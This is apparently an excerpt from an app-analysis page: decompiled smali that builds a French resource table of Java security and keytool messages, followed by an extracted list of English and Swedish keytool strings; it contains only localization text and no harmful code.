                                                                              2407new-array v2, v6, [Ljava/lang/Object;
                                                                              2409const-string v3, "library name"
                                                                              2410aput-object v3, v2, v4
                                                                              2412const-string v3, "nom de biblioth\u00e8que"
                                                                              2413aput-object v3, v2, v5
                                                                              2414aput-object v2, v0, v1
                                                                              2415const/16 v1, 0x10c
                                                                              2416new-array v2, v6, [Ljava/lang/Object;
                                                                              2418const-string v3, "package name"
                                                                              2419aput-object v3, v2, v4
                                                                              2421const-string v3, "nom de package"
                                                                              2422aput-object v3, v2, v5
                                                                              2423aput-object v2, v0, v1
                                                                              2424const/16 v1, 0x10d
                                                                              2425new-array v2, v6, [Ljava/lang/Object;
                                                                              2427const-string v3, "policy type"
                                                                              2428aput-object v3, v2, v4
                                                                              2430const-string v3, "type de strat\u00e9gie"
                                                                              2431aput-object v3, v2, v5
                                                                              2432aput-object v2, v0, v1
                                                                              2433const/16 v1, 0x10e
                                                                              2434new-array v2, v6, [Ljava/lang/Object;
                                                                              2436const-string v3, "property name"
                                                                              2437aput-object v3, v2, v4
                                                                              2439const-string v3, "nom de propri\u00e9t\u00e9"
                                                                              2440aput-object v3, v2, v5
                                                                              2441aput-object v2, v0, v1
                                                                              2442const/16 v1, 0x10f
                                                                              2443new-array v2, v6, [Ljava/lang/Object;
                                                                              2445const-string v3, "provider name"
                                                                              2446aput-object v3, v2, v4
                                                                              2448const-string v3, "nom de fournisseur"
                                                                              2449aput-object v3, v2, v5
                                                                              2450aput-object v2, v0, v1
                                                                              2451const/16 v1, 0x110
                                                                              2452new-array v2, v6, [Ljava/lang/Object;
                                                                              2454const-string v3, "Principal List"
                                                                              2455aput-object v3, v2, v4
                                                                              2457const-string v3, "Liste de mandants"
                                                                              2458aput-object v3, v2, v5
                                                                              2459aput-object v2, v0, v1
                                                                              2460const/16 v1, 0x111
                                                                              2461new-array v2, v6, [Ljava/lang/Object;
                                                                              2463const-string v3, "Permission List"
                                                                              2464aput-object v3, v2, v4
                                                                              2466const-string v3, "Liste de droits"
                                                                              2467aput-object v3, v2, v5
                                                                              2468aput-object v2, v0, v1
                                                                              2469const/16 v1, 0x112
                                                                              2470new-array v2, v6, [Ljava/lang/Object;
                                                                              2472const-string v3, "Code Base"
                                                                              2473aput-object v3, v2, v4
                                                                              2475const-string v3, "Base de codes"
                                                                              2476aput-object v3, v2, v5
                                                                              2477aput-object v2, v0, v1
                                                                              2478const/16 v1, 0x113
                                                                              2479new-array v2, v6, [Ljava/lang/Object;
                                                                              2481const-string v3, "KeyStore U R L:"
                                                                              2482aput-object v3, v2, v4
                                                                              2484const-string v3, "URL du KeyStore :"
                                                                              2485aput-object v3, v2, v5
                                                                              2486aput-object v2, v0, v1
                                                                              2487const/16 v1, 0x114
                                                                              2488new-array v2, v6, [Ljava/lang/Object;
                                                                              2490const-string v3, "KeyStore Password U R L:"
                                                                              2491aput-object v3, v2, v4
                                                                              2493const-string v3, "URL du mot de passe du KeyStore :"
                                                                              2494aput-object v3, v2, v5
                                                                              2495aput-object v2, v0, v1
                                                                              2496const/16 v1, 0x115
                                                                              2497new-array v2, v6, [Ljava/lang/Object;
                                                                              2499const-string v3, "invalid null input(s)"
                                                                              2500aput-object v3, v2, v4
                                                                              2502const-string v3, "Entr\u00e9e() Null non valide(s)"
                                                                              2503aput-object v3, v2, v5
                                                                              2504aput-object v2, v0, v1
                                                                              2505const/16 v1, 0x116
                                                                              2506new-array v2, v6, [Ljava/lang/Object;
                                                                              2508const-string v3, "actions can only be \'read\'"
                                                                              2509aput-object v3, v2, v4
                                                                              2511const-string v3, "les actions peuvent \u00eatre accessibles en \'lecture\' uniquement"
                                                                              2512aput-object v3, v2, v5
                                                                              2513aput-object v2, v0, v1
                                                                              2514const/16 v1, 0x117
                                                                              2515new-array v2, v6, [Ljava/lang/Object;
                                                                              2517const-string v3, "permission name [name] syntax invalid: "
                                                                              2518aput-object v3, v2, v4
                                                                              2520const-string v3, "syntaxe de nom de permission [{0}] non valide : "
                                                                              2521aput-object v3, v2, v5
                                                                              2522aput-object v2, v0, v1
                                                                              2523const/16 v1, 0x118
                                                                              2524new-array v2, v6, [Ljava/lang/Object;
                                                                              2526const-string v3, "Credential Class not followed by a Principal Class and Name"
                                                                              2527aput-object v3, v2, v4
                                                                              2529const-string v3, "Classe Credential non suivie d\'une classe et d\'un nom de principal"
                                                                              2530aput-object v3, v2, v5
                                                                              2531aput-object v2, v0, v1
                                                                              2532const/16 v1, 0x119
                                                                              2533new-array v2, v6, [Ljava/lang/Object;
                                                                              2535const-string v3, "Principal Class not followed by a Principal Name"
                                                                              2536aput-object v3, v2, v4
                                                                              2538const-string v3, "Classe de principal non suivie d\'un nom de principal"
                                                                              2539aput-object v3, v2, v5
                                                                              2540aput-object v2, v0, v1
                                                                              2541const/16 v1, 0x11a
                                                                              2542new-array v2, v6, [Ljava/lang/Object;
                                                                              2544const-string v3, "Principal Name must be surrounded by quotes"
                                                                              2545aput-object v3, v2, v4
                                                                              2547const-string v3, "Le nom de principal doit \u00eatre entre guillemets"
                                                                              2548aput-object v3, v2, v5
                                                                              2549aput-object v2, v0, v1
                                                                              2550const/16 v1, 0x11b
                                                                              2551new-array v2, v6, [Ljava/lang/Object;
                                                                              2553const-string v3, "Principal Name missing end quote"
                                                                              2554aput-object v3, v2, v4
                                                                              2556const-string v3, "Guillemet fermant manquant pour nom de principal"
                                                                              2557aput-object v3, v2, v5
                                                                              2558aput-object v2, v0, v1
                                                                              2559const/16 v1, 0x11c
                                                                              2560new-array v2, v6, [Ljava/lang/Object;
                                                                              2562const-string v3, "PrivateCredentialPermission Principal Class can not be a wildcard (*) value if Principal Name is not a wildcard (*) value"
                                                                              2563aput-object v3, v2, v4
                                                                              2565const-string v3, "La classe principale PrivateCredentialPermission ne peut \u00eatre une valeur g\u00e9n\u00e9rique (*) si le nom de principal n\'est pas une valeur g\u00e9n\u00e9rique (*)"
                                                                              2566aput-object v3, v2, v5
                                                                              2567aput-object v2, v0, v1
                                                                              2568const/16 v1, 0x11d
                                                                              2569new-array v2, v6, [Ljava/lang/Object;
                                                                              2571const-string v3, "CredOwner:\n\tPrincipal Class = class\n\tPrincipal Name = name"
                                                                              2572aput-object v3, v2, v4
                                                                              2574const-string v3, "CredOwner :\n\tClasse principale = {0}\n\tNom principal = {1}"
                                                                              2575aput-object v3, v2, v5
                                                                              2576aput-object v2, v0, v1
                                                                              2577const/16 v1, 0x11e
                                                                              2578new-array v2, v6, [Ljava/lang/Object;
                                                                              2580const-string v3, "provided null name"
                                                                              2581aput-object v3, v2, v4
                                                                              2583const-string v3, "nom Null sp\u00e9cifi\u00e9"
                                                                              2584aput-object v3, v2, v5
                                                                              2585aput-object v2, v0, v1
                                                                              2586const/16 v1, 0x11f
                                                                              2587new-array v2, v6, [Ljava/lang/Object;
                                                                              2589const-string v3, "provided null keyword map"
                                                                              2590aput-object v3, v2, v4
                                                                              2592const-string v3, "Mappage des mots cl\u00e9s Null fourni"
                                                                              2593aput-object v3, v2, v5
                                                                              2594aput-object v2, v0, v1
                                                                              2595const/16 v1, 0x120
                                                                              2596new-array v2, v6, [Ljava/lang/Object;
                                                                              2598const-string v3, "provided null OID map"
                                                                              2599aput-object v3, v2, v4
                                                                              2601const-string v3, "Mappage OID Null fourni"
                                                                              2602aput-object v3, v2, v5
                                                                              2603aput-object v2, v0, v1
                                                                              2604const/16 v1, 0x121
                                                                              2605new-array v2, v6, [Ljava/lang/Object;
                                                                              2607const-string v3, "invalid null AccessControlContext provided"
                                                                              2608aput-object v3, v2, v4
                                                                              2610const-string v3, "AccessControlContext Null sp\u00e9cifi\u00e9 non valide"
                                                                              2611aput-object v3, v2, v5
                                                                              2612aput-object v2, v0, v1
                                                                              2613const/16 v1, 0x122
                                                                              2614new-array v2, v6, [Ljava/lang/Object;
                                                                              2616const-string v3, "invalid null action provided"
                                                                              2617aput-object v3, v2, v4
                                                                              2619const-string v3, "action Null sp\u00e9cifi\u00e9e non valide"
                                                                              2620aput-object v3, v2, v5
                                                                              2621aput-object v2, v0, v1
                                                                              2622const/16 v1, 0x123
                                                                              2623new-array v2, v6, [Ljava/lang/Object;
                                                                              2625const-string v3, "invalid null Class provided"
                                                                              2626aput-object v3, v2, v4
                                                                              2628const-string v3, "classe Null sp\u00e9cifi\u00e9e non valide"
                                                                              2629aput-object v3, v2, v5
                                                                              2630aput-object v2, v0, v1
                                                                              2631const/16 v1, 0x124
                                                                              2632new-array v2, v6, [Ljava/lang/Object;
                                                                              2634const-string v3, "Subject:\n"
                                                                              2635aput-object v3, v2, v4
                                                                              2637const-string v3, "Objet :\n"
                                                                              2638aput-object v3, v2, v5
                                                                              2639aput-object v2, v0, v1
                                                                              2640const/16 v1, 0x125
                                                                              2641new-array v2, v6, [Ljava/lang/Object;
                                                                              2643const-string v3, "\tPrincipal: "
                                                                              2644aput-object v3, v2, v4
                                                                              2646const-string v3, "\tPrincipal : "
                                                                              2647aput-object v3, v2, v5
                                                                              2648aput-object v2, v0, v1
                                                                              2649const/16 v1, 0x126
                                                                              2650new-array v2, v6, [Ljava/lang/Object;
                                                                              2652const-string v3, "\tPublic Credential: "
                                                                              2653aput-object v3, v2, v4
                                                                              2655const-string v3, "\tIdentit\u00e9 publique : "
                                                                              2656aput-object v3, v2, v5
                                                                              2657aput-object v2, v0, v1
                                                                              2658const/16 v1, 0x127
                                                                              2659new-array v2, v6, [Ljava/lang/Object;
                                                                              2661const-string v3, "\tPrivate Credentials inaccessible\n"
                                                                              2662aput-object v3, v2, v4
                                                                              2664const-string v3, "\tIdentit\u00e9s priv\u00e9es inaccessibles\n"
                                                                              2665aput-object v3, v2, v5
                                                                              2666aput-object v2, v0, v1
                                                                              2667const/16 v1, 0x128
                                                                              2668new-array v2, v6, [Ljava/lang/Object;
                                                                              2670const-string v3, "\tPrivate Credential: "
                                                                              2671aput-object v3, v2, v4
                                                                              2673const-string v3, "\tIdentit\u00e9 priv\u00e9e : "
                                                                              2674aput-object v3, v2, v5
                                                                              2675aput-object v2, v0, v1
                                                                              2676const/16 v1, 0x129
                                                                              2677new-array v2, v6, [Ljava/lang/Object;
                                                                              2679const-string v3, "\tPrivate Credential inaccessible\n"
                                                                              2680aput-object v3, v2, v4
                                                                              2682const-string v3, "\tIdentit\u00e9 priv\u00e9e inaccessible\n"
                                                                              2683aput-object v3, v2, v5
                                                                              2684aput-object v2, v0, v1
                                                                              2685const/16 v1, 0x12a
                                                                              2686new-array v2, v6, [Ljava/lang/Object;
                                                                              2688const-string v3, "Subject is read-only"
                                                                              2689aput-object v3, v2, v4
                                                                              2691const-string v3, "Objet en lecture seule"
                                                                              2692aput-object v3, v2, v5
                                                                              2693aput-object v2, v0, v1
                                                                              2694const/16 v1, 0x12b
                                                                              2695new-array v2, v6, [Ljava/lang/Object;
                                                                              2697const-string v3, "attempting to add an object which is not an instance of java.security.Principal to a Subject\'s Principal Set"
                                                                              2698aput-object v3, v2, v4
                                                                              2700const-string v3, "tentative d\'ajout d\'un objet qui n\'est pas une instance de java.security.Principal dans un ensemble principal d\'objet"
                                                                              2701aput-object v3, v2, v5
                                                                              2702aput-object v2, v0, v1
                                                                              2703const/16 v1, 0x12c
                                                                              2704new-array v2, v6, [Ljava/lang/Object;
                                                                              2706const-string v3, "attempting to add an object which is not an instance of class"
                                                                              2707aput-object v3, v2, v4
                                                                              2709const-string v3, "tentative d\'\'ajout d\'\'un objet qui n\'\'est pas une instance de {0}"
                                                                              2710aput-object v3, v2, v5
                                                                              2711aput-object v2, v0, v1
                                                                              2712const/16 v1, 0x12d
                                                                              2713new-array v2, v6, [Ljava/lang/Object;
                                                                              2715const-string v3, "LoginModuleControlFlag: "
                                                                              2716aput-object v3, v2, v4
                                                                              2718const-string v3, "LoginModuleControlFlag : "
                                                                              2719aput-object v3, v2, v5
                                                                              2720aput-object v2, v0, v1
                                                                              2721const/16 v1, 0x12e
                                                                              2722new-array v2, v6, [Ljava/lang/Object;
                                                                              2724const-string v3, "Invalid null input: name"
                                                                              2725aput-object v3, v2, v4
                                                                              2727const-string v3, "Entr\u00e9e Null non valide : nom"
                                                                              2728aput-object v3, v2, v5
                                                                              2729aput-object v2, v0, v1
                                                                              2730const/16 v1, 0x12f
                                                                              2731new-array v2, v6, [Ljava/lang/Object;
                                                                              2733const-string v3, "No LoginModules configured for name"
                                                                              2734aput-object v3, v2, v4
                                                                              2736const-string v3, "Aucun LoginModule configur\u00e9 pour {0}"
                                                                              2737aput-object v3, v2, v5
                                                                              2738aput-object v2, v0, v1
                                                                              2739const/16 v1, 0x130
                                                                              2740new-array v2, v6, [Ljava/lang/Object;
                                                                              2742const-string v3, "invalid null Subject provided"
                                                                              2743aput-object v3, v2, v4
                                                                              2745const-string v3, "sujet Null sp\u00e9cifi\u00e9 non valide"
                                                                              2746aput-object v3, v2, v5
                                                                              2747aput-object v2, v0, v1
                                                                              2748const/16 v1, 0x131
                                                                              2749new-array v2, v6, [Ljava/lang/Object;
                                                                              2751const-string v3, "invalid null CallbackHandler provided"
                                                                              2752aput-object v3, v2, v4
                                                                              2754const-string v3, "CallbackHandler Null sp\u00e9cifi\u00e9 non valide"
                                                                              2755aput-object v3, v2, v5
                                                                              2756aput-object v2, v0, v1
                                                                              2757const/16 v1, 0x132
                                                                              2758new-array v2, v6, [Ljava/lang/Object;
                                                                              2760const-string v3, "null subject - logout called before login"
                                                                              2761aput-object v3, v2, v4
                                                                              2763const-string v3, "sujet Null - tentative de d\u00e9connexion avant connexion"
                                                                              2764aput-object v3, v2, v5
                                                                              2765aput-object v2, v0, v1
                                                                              2766const/16 v1, 0x133
                                                                              2767new-array v2, v6, [Ljava/lang/Object;
                                                                              2769const-string v3, "unable to instantiate LoginModule, module, because it does not provide a no-argument constructor"
                                                                              2770aput-object v3, v2, v4
                                                                              2772const-string v3, "impossible d\'\'instancier LoginModule {0} car il ne fournit pas de constructeur sans argument"
                                                                              2773aput-object v3, v2, v5
                                                                              2774aput-object v2, v0, v1
                                                                              2775const/16 v1, 0x134
                                                                              2776new-array v2, v6, [Ljava/lang/Object;
                                                                              2778const-string v3, "unable to instantiate LoginModule"
                                                                              2779aput-object v3, v2, v4
                                                                              2781const-string v3, "impossible d\'instancier LoginModule"
                                                                              2782aput-object v3, v2, v5
                                                                              2783aput-object v2, v0, v1
                                                                              2784const/16 v1, 0x135
                                                                              2785new-array v2, v6, [Ljava/lang/Object;
                                                                              2787const-string v3, "unable to instantiate LoginModule: "
                                                                              2788aput-object v3, v2, v4
                                                                              2790const-string v3, "impossible d\'instancier LoginModule\u00a0: "
                                                                              2791aput-object v3, v2, v5
                                                                              2792aput-object v2, v0, v1
                                                                              2793const/16 v1, 0x136
                                                                              2794new-array v2, v6, [Ljava/lang/Object;
                                                                              2796const-string v3, "unable to find LoginModule class: "
                                                                              2797aput-object v3, v2, v4
                                                                              2799const-string v3, "classe LoginModule introuvable : "
                                                                              2800aput-object v3, v2, v5
                                                                              2801aput-object v2, v0, v1
                                                                              2802const/16 v1, 0x137
                                                                              2803new-array v2, v6, [Ljava/lang/Object;
                                                                              2805const-string v3, "unable to access LoginModule: "
                                                                              2806aput-object v3, v2, v4
                                                                              2808const-string v3, "impossible d\'acc\u00e9der \u00e0 LoginModule : "
                                                                              2809aput-object v3, v2, v5
                                                                              2810aput-object v2, v0, v1
                                                                              2811const/16 v1, 0x138
                                                                              2812new-array v2, v6, [Ljava/lang/Object;
                                                                              2814const-string v3, "Login Failure: all modules ignored"
                                                                              2815aput-object v3, v2, v4
                                                                              2817const-string v3, "Echec de connexion : tous les modules ont \u00e9t\u00e9 ignor\u00e9s"
                                                                              2818aput-object v3, v2, v5
                                                                              2819aput-object v2, v0, v1
                                                                              2820const/16 v1, 0x139
                                                                              2821new-array v2, v6, [Ljava/lang/Object;
                                                                              2823const-string v3, "java.security.policy: error parsing policy:\n\tmessage"
                                                                              2824aput-object v3, v2, v4
                                                                              2826const-string v3, "java.security.policy : erreur d\'\'analyse de {0} :\n\t{1}"
                                                                              2827aput-object v3, v2, v5
                                                                              2828aput-object v2, v0, v1
                                                                              2829const/16 v1, 0x13a
                                                                              2830new-array v2, v6, [Ljava/lang/Object;
                                                                              2832const-string v3, "java.security.policy: error adding Permission, perm:\n\tmessage"
                                                                              2833aput-object v3, v2, v4
                                                                              2835const-string v3, "java.security.policy : erreur d\'\'ajout de permission, {0} :\n\t{1}"
                                                                              2836aput-object v3, v2, v5
                                                                              2837aput-object v2, v0, v1
                                                                              2838const/16 v1, 0x13b
                                                                              2839new-array v2, v6, [Ljava/lang/Object;
                                                                              2841const-string v3, "java.security.policy: error adding Entry:\n\tmessage"
                                                                              2842aput-object v3, v2, v4
                                                                              2844const-string v3, "java.security.policy : erreur d\'\'ajout d\'\'entr\u00e9e :\n\t{0}"
                                                                              2845aput-object v3, v2, v5
                                                                              2846aput-object v2, v0, v1
                                                                              2847const/16 v1, 0x13c
                                                                              2848new-array v2, v6, [Ljava/lang/Object;
                                                                              2850const-string v3, "alias name not provided (pe.name)"
                                                                              2851aput-object v3, v2, v4
                                                                              2853const-string v3, "nom d\'\'alias non fourni ({0})"
                                                                              2854aput-object v3, v2, v5
                                                                              2855aput-object v2, v0, v1
                                                                              2856const/16 v1, 0x13d
                                                                              2857new-array v2, v6, [Ljava/lang/Object;
                                                                              2859const-string v3, "unable to perform substitution on alias, suffix"
                                                                              2860aput-object v3, v2, v4
                                                                              2862const-string v3, "impossible d\'\'effectuer une substitution pour l\'\'alias, {0}"
                                                                              2863aput-object v3, v2, v5
                                                                              2864aput-object v2, v0, v1
                                                                              2865const/16 v1, 0x13e
                                                                              2866new-array v2, v6, [Ljava/lang/Object;
                                                                              2868const-string v3, "substitution value, prefix, unsupported"
                                                                              2869aput-object v3, v2, v4
                                                                              2871const-string v3, "valeur de substitution, {0}, non prise en charge"
                                                                              2872aput-object v3, v2, v5
                                                                              2873aput-object v2, v0, v1
                                                                              2874const/16 v1, 0x13f
                                                                              2875new-array v2, v6, [Ljava/lang/Object;
                                                                              2877const-string v3, "("
                                                                              2878aput-object v3, v2, v4
                                                                              2880const-string v3, "("
                                                                              2881aput-object v3, v2, v5
                                                                              2882aput-object v2, v0, v1
                                                                              2883const/16 v1, 0x140
                                                                              2884new-array v2, v6, [Ljava/lang/Object;
                                                                              2886const-string v3, ")"
                                                                              2887aput-object v3, v2, v4
                                                                              2889const-string v3, ")"
                                                                              2890aput-object v3, v2, v5
                                                                              2891aput-object v2, v0, v1
                                                                              2892const/16 v1, 0x141
                                                                              2893new-array v2, v6, [Ljava/lang/Object;
                                                                              2895const-string v3, "type can\'t be null"
                                                                              2896aput-object v3, v2, v4
                                                                              2898const-string v3, "le type ne peut \u00eatre Null"
                                                                              2899aput-object v3, v2, v5
                                                                              2900aput-object v2, v0, v1
                                                                              2901const/16 v1, 0x142
                                                                              2902new-array v2, v6, [Ljava/lang/Object;
                                                                              2904const-string v3, "keystorePasswordURL can not be specified without also specifying keystore"
                                                                              2905aput-object v3, v2, v4
                                                                              2907const-string v3, "Impossible de sp\u00e9cifier keystorePasswordURL sans sp\u00e9cifier aussi le keystore"
                                                                              2908aput-object v3, v2, v5
                                                                              2909aput-object v2, v0, v1
                                                                              2910const/16 v1, 0x143
                                                                              2911new-array v2, v6, [Ljava/lang/Object;
                                                                              2913const-string v3, "expected keystore type"
                                                                              2914aput-object v3, v2, v4
                                                                              2916const-string v3, "type keystore pr\u00e9vu"
                                                                              2917aput-object v3, v2, v5
                                                                              2918aput-object v2, v0, v1
                                                                              2919const/16 v1, 0x144
                                                                              2920new-array v2, v6, [Ljava/lang/Object;
                                                                              2922const-string v3, "expected keystore provider"
                                                                              2923aput-object v3, v2, v4
                                                                              2925const-string v3, "fournisseur keystore pr\u00e9vu"
                                                                              2926aput-object v3, v2, v5
                                                                              2927aput-object v2, v0, v1
                                                                              2928const/16 v1, 0x145
                                                                              2929new-array v2, v6, [Ljava/lang/Object;
                                                                              2931const-string v3, "multiple Codebase expressions"
                                                                              2932aput-object v3, v2, v4
                                                                              2934const-string v3, "expressions Codebase multiples"
                                                                              2935aput-object v3, v2, v5
                                                                              2936aput-object v2, v0, v1
                                                                              2937const/16 v1, 0x146
                                                                              2938new-array v2, v6, [Ljava/lang/Object;
                                                                              2940const-string v3, "multiple SignedBy expressions"
                                                                              2941aput-object v3, v2, v4
                                                                              2943const-string v3, "expressions SignedBy multiples"
                                                                              2944aput-object v3, v2, v5
                                                                              2945aput-object v2, v0, v1
                                                                              2946const/16 v1, 0x147
                                                                              2947new-array v2, v6, [Ljava/lang/Object;
                                                                              2949const-string v3, "SignedBy has empty alias"
                                                                              2950aput-object v3, v2, v4
                                                                              2952const-string v3, "SignedBy poss\u00e8de un alias vide"
                                                                              2953aput-object v3, v2, v5
                                                                              2954aput-object v2, v0, v1
                                                                              2955const/16 v1, 0x148
                                                                              2956new-array v2, v6, [Ljava/lang/Object;
                                                                              2958const-string v3, "can not specify Principal with a wildcard class without a wildcard name"
                                                                              2959aput-object v3, v2, v4
                                                                              2961const-string v3, "impossible de sp\u00e9cifier Principal avec une classe g\u00e9n\u00e9rique sans nom g\u00e9n\u00e9rique"
                                                                              2962aput-object v3, v2, v5
                                                                              2963aput-object v2, v0, v1
                                                                              2964const/16 v1, 0x149
                                                                              2965new-array v2, v6, [Ljava/lang/Object;
                                                                              2967const-string v3, "expected codeBase or SignedBy or Principal"
                                                                              2968aput-object v3, v2, v4
                                                                              2970const-string v3, "codeBase ou SignedBy ou Principal pr\u00e9vu"
                                                                              2971aput-object v3, v2, v5
                                                                              2972aput-object v2, v0, v1
                                                                              2973const/16 v1, 0x14a
                                                                              2974new-array v2, v6, [Ljava/lang/Object;
                                                                              2976const-string v3, "expected permission entry"
                                                                              2977aput-object v3, v2, v4
                                                                              2979const-string v3, "entr\u00e9e de permission pr\u00e9vue"
                                                                              2980aput-object v3, v2, v5
                                                                              2981aput-object v2, v0, v1
                                                                              2982const/16 v1, 0x14b
                                                                              2983new-array v2, v6, [Ljava/lang/Object;
                                                                              2985const-string v3, "number "
                                                                              2986aput-object v3, v2, v4
                                                                              2988const-string v3, "nombre "
                                                                              2989aput-object v3, v2, v5
                                                                              2990aput-object v2, v0, v1
                                                                              2991const/16 v1, 0x14c
                                                                              2992new-array v2, v6, [Ljava/lang/Object;
                                                                              2994const-string v3, "expected [expect], read [end of file]"
                                                                              2995aput-object v3, v2, v4
                                                                              2997const-string v3, "pr\u00e9vu [{0}], lecture [fin de fichier]"
                                                                              2998aput-object v3, v2, v5
                                                                              2999aput-object v2, v0, v1
                                                                              3000const/16 v1, 0x14d
                                                                              3001new-array v2, v6, [Ljava/lang/Object;
                                                                              3003const-string v3, "expected [;], read [end of file]"
                                                                              3004aput-object v3, v2, v4
                                                                              3006const-string v3, "pr\u00e9vu [;], lecture [fin de fichier]"
                                                                              3007aput-object v3, v2, v5
                                                                              3008aput-object v2, v0, v1
                                                                              3009const/16 v1, 0x14e
                                                                              3010new-array v2, v6, [Ljava/lang/Object;
                                                                              3012const-string v3, "line number: msg"
                                                                              3013aput-object v3, v2, v4
                                                                              3015const-string v3, "ligne {0} : {1}"
                                                                              3016aput-object v3, v2, v5
                                                                              3017aput-object v2, v0, v1
                                                                              3018const/16 v1, 0x14f
                                                                              3019new-array v2, v6, [Ljava/lang/Object;
                                                                              3021const-string v3, "line number: expected [expect], found [actual]"
                                                                              3022aput-object v3, v2, v4
                                                                              3024const-string v3, "ligne {0} : pr\u00e9vu [{1}], trouv\u00e9 [{2}]"
                                                                              3025aput-object v3, v2, v5
                                                                              3026aput-object v2, v0, v1
                                                                              3027const/16 v1, 0x150
                                                                              3028new-array v2, v6, [Ljava/lang/Object;
                                                                              3030const-string v3, "null principalClass or principalName"
                                                                              3031aput-object v3, v2, v4
                                                                              3033const-string v3, "principalClass ou principalName Null"
                                                                              3034aput-object v3, v2, v5
                                                                              3035aput-object v2, v0, v1
                                                                              3036const/16 v1, 0x151
                                                                              3037new-array v2, v6, [Ljava/lang/Object;
                                                                              3039const-string v3, "PKCS11 Token [providerName] Password: "
                                                                              3040aput-object v3, v2, v4
                                                                              3042const-string v3, "Mot de passe PKCS11 Token [{0}] : "
                                                                              3043aput-object v3, v2, v5
                                                                              3044aput-object v2, v0, v1
                                                                              3045const/16 v1, 0x152
                                                                              3046new-array v2, v6, [Ljava/lang/Object;
                                                                              3048const-string v3, "unable to instantiate Subject-based policy"
                                                                              3049aput-object v3, v2, v4
                                                                              3051const-string v3, "impossible d\'instancier la strat\u00e9gie Subject"
                                                                              3052aput-object v3, v2, v5
                                                                              3053aput-object v2, v0, v1
                                                                              3054sput-object v0, Lcom/android/leech/patch/apksigner/sun/security/util/Resources_fr;->contents:[[Ljava/lang/Object;
                                                                              3055return-void
                                                                              APIs
                                                                              Strings
                                                                              • ,
                                                                              • \n
                                                                              • *******************************************
                                                                              • *******************************************\n\n
                                                                              • keytool error:
                                                                              • nyckelverktygsfel:
                                                                              • Illegal option:
                                                                              • Ogiltigt alternativ:
                                                                              • Try keytool -help
                                                                              • Command option <flag> needs an argument.
                                                                              • Kommandoalternativet {0} beh\u00f6ver ett argument.
                                                                              • Warning: Different store and key passwords not supported for PKCS12 KeyStores. Ignoring user-specified <command> value.
                                                                              • Varning! PKCS12 KeyStores har inte st\u00f6d f\u00f6r olika l\u00f6senord f\u00f6r lagret och nyckeln. Det anv\u00e4ndarspecificerade {0}-v\u00e4rdet ignoreras.
                                                                              • -keystore must be NONE if -storetype is {0}
                                                                              • -keystore m\u00e5ste vara NONE om -storetype \u00e4r {0}
                                                                              • Too may retries, program terminated
                                                                              • F\u00f6r m\u00e5nga f\u00f6rs\u00f6k. Programmet avslutas.
                                                                              • -storepasswd and -keypasswd commands not supported if -storetype is {0}
                                                                              • -storepasswd- och -keypasswd-kommandon st\u00f6ds inte om -storetype \u00e4r {0}
                                                                              • -keypasswd commands not supported if -storetype is PKCS12
                                                                              • \u0096keypasswd-kommandon st\u00f6ds inte om -storetype \u00e4r inst\u00e4lld p\u00e5 PKCS12
                                                                              • -keypass and -new can not be specified if -storetype is {0}
                                                                              • -keypass och -new kan inte anges om -storetype \u00e4r {0}
                                                                              • if -protected is specified, then -storepass, -keypass, and -new must not be specified
                                                                              • om -protected har angetts f\u00e5r inte -storepass, -keypass och -new anges
                                                                              • if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified
                                                                              • om -srcprotected anges f\u00e5r -srcstorepass och -srckeypass inte anges
                                                                              • if keystore is not password protected, then -storepass, -keypass, and -new must not be specified
                                                                              • om nyckelfilen inte \u00e4r l\u00f6senordsskyddad f\u00e5r -storepass, -keypass och -new inte anges
                                                                              • if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified
                                                                              • om k\u00e4llnyckelfilen inte \u00e4r l\u00f6senordsskyddad f\u00e5r -srcstorepass och -srckeypass inte anges
                                                                              • Validity must be greater than zero
                                                                              • Giltigheten m\u00e5ste vara st\u00f6rre \u00e4n noll
                                                                              • provName not a provider
                                                                              • {0} inte en leverant\u00f6r
                                                                              • Usage error: no command provided
                                                                              • Anv\u00e4ndningsfel: inget kommando angivet
                                                                              • Usage error, <arg> is not a legal command
                                                                              • Anv\u00e4ndningsfel: {0} \u00e4r inte ett giltigt kommando
                                                                              • Source keystore file exists, but is empty:
                                                                              • Nyckellagrets k\u00e4llfil finns, men \u00e4r tom:
                                                                              • Please specify -srckeystore
                                                                              • Ange -srckeystore
                                                                              • Must not specify both -v and -rfc with \'list\' command
                                                                              • Det g\u00e5r inte att specificera b\u00e5de -v och -rfc med \'list\'-kommandot
                                                                              • Key password must be at least 6 characters
                                                                              • Nyckell\u00f6senordet m\u00e5ste inneh\u00e5lla minst 6 tecken
                                                                              • New password must be at least 6 characters
                                                                              • Det nya l\u00f6senordet m\u00e5ste inneh\u00e5lla minst 6 tecken
                                                                              • Keystore file exists, but is empty:
                                                                              • Keystore-filen finns, men \u00e4r tom:
                                                                              • Keystore file does not exist:
                                                                              • Keystore-filen finns inte:
                                                                              • Must specify destination alias
                                                                              • Du m\u00e5ste ange destinations-alias
                                                                              • Must specify alias
                                                                              • Du m\u00e5ste ange alias
                                                                              • Keystore password must be at least 6 characters
                                                                              • Keystore-l\u00f6senordet m\u00e5ste inneh\u00e5lla minst 6 tecken
                                                                              • Enter keystore password:
                                                                              • Ange keystore-l\u00f6senord:
                                                                              • Enter source keystore password:
                                                                              • Ange l\u00f6senord f\u00f6r k\u00e4llnyckellagret:
                                                                              • Enter destination keystore password:
                                                                              • Ange destination f\u00f6r nyckellagrets l\u00f6senord:
                                                                              • Keystore password is too short - must be at least 6 characters
                                                                              • Keystore-l\u00f6senordet \u00e4r f\u00f6r kort - det m\u00e5ste inneh\u00e5lla minst 6 tecken
                                                                              • Unknown Entry Type
                                                                              • Ok\u00e4nd posttyp
                                                                              • Too many failures. Alias not changed
                                                                              • Alias har inte \u00e4ndrats p.g.a. f\u00f6r m\u00e5nga fel.
                                                                              • Entry for alias <alias> successfully imported.
                                                                              • Posten f\u00f6r alias {0} har importerats.
                                                                              • Entry for alias <alias> not imported.
                                                                              • Posten f\u00f6r alias {0} har inte importerats.
                                                                              • Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported.
                                                                              • Ett problem uppstod vid importen av posten f\u00f6r alias {0}: {1}.\nPosten har inte importerats.
                                                                              • Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled
                                                                              • Kommandoimporten slutf\u00f6rd: {0} poster har importerats, {1} poster var felaktiga eller utesl\u00f6ts
                                                                              • Warning: Overwriting existing alias <alias> in destination keystore
                                                                              • Varning! Det befintliga aliaset {0} i m\u00e5lnyckellagret skrivs \u00f6ver
